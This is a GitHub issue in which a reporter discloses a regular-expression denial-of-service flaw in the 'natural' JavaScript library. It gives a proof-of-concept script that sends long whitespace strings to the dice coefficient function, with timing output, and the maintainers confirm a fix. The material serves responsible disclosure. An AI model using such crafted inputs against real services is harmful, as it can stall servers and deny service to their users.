Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

Regular Expression Denial of Service (ReDoS) in natural #625

Closed
yetingli opened this issue Nov 10, 2021 · 2 comments
Closed

Regular Expression Denial of Service (ReDoS) in natural #625

yetingli opened this issue Nov 10, 2021 · 2 comments

Comments

@yetingli
Copy link
Contributor

Description

I would like to report a Regular Expression Denial of Service (ReDoS) vulnerability in natural. cc @JamieSlome

The ReDoS vulnerability is mainly due to the regex /^\s+|\s+$/g and can be exploited with the following code.

Proof of Concept

// PoC.js
var diceCoefficient = require("natural/lib/natural/distance/dice_coefficient.js")

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str ='a' +' '.repeat(i*10000)+"a";
    diceCoefficient(attack_str, attack_str);
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The Output

"attack_str.length: 10002: 249 ms"
"attack_str.length: 20002: 785 ms"
"attack_str.length: 30002: 1709 ms"
"attack_str.length: 40002: 3056 ms"
"attack_str.length: 50002: 4888 ms"
"attack_str.length: 60002: 6830 ms"
@Hugo-ter-Doest
Copy link
Collaborator

Thanks for finding this.

I found out that there was a typo in the original code as well:

return str.toLowerCase().replace(/^\s+|\s+$/g, '').replace(/s+/g, ' ')

In the second replace it says s+ instead of \s+

Implicitly you repaired this is as well which breaks one of the tests.

After repairing the test I will merge your pull request.

@Hugo-ter-Doest
Copy link
Collaborator

Fixed in #626 and #627. Thanks!

# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants